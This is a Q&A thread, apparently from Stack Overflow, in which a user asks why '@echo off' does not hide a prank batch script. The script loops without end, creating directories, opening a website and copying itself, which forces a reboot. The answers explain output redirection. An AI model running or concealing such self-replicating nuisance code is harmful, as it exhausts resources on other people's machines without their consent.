2

I Have several batch scripts on my computer, many of the harmless and annoying. Unfortunately, @echo off just isn't working on my computer.

Here is the script:

@echo off
:top
md %random%
start http://roblox.com
set self=%~n0
REM get own filename
TYPE %self%.bat > %self%%random%%random%.bat
goto top
(it's just extremely annoying and pretty much just makes it to where you have to restart)

Normally it wouldn't show the cmd. However, I can see the command prompt clear as day.

double-beep
  • 5,031
  • 17
  • 33
  • 41
TheForge129
  • 31
  • 1
  • 3

2 Answers2

0

Seems like you want to hide the output of the comments rather than the prompt and themselves. This can be done by redirecting their STDOUT and STDERR to NUL.

If you start your batch file from cmd, then start it with:

(batch.bat)>NUL 2>&1

and if you start it by double-click, then either create another batch file with content:

@(batch.bat)>NUL 2>&1

or in your batch file, start with (not highly recommended):

@echo off
setlocal EnableDelayedExpansion

(
content
of
your
batch
file
)>NUL 2>&1

but note that you should access variable with !var! rather than %var%, that's why I don't recommend this way.

double-beep
  • 5,031
  • 17
  • 33
  • 41
0

Refer here for explanation.

:: This does not show the result output
@echo off
echo y|rd /s build > null 
mkdir build

:: This shows the result output
echo y|rd /s external
mkdir external
::No output at all
@echo off
(
echo y|rd /s build
mkdir build
echo y|rd /s external
mkdir external
)>NULL 2>&1
Rohit Kumar J
  • 87
  • 1
  • 8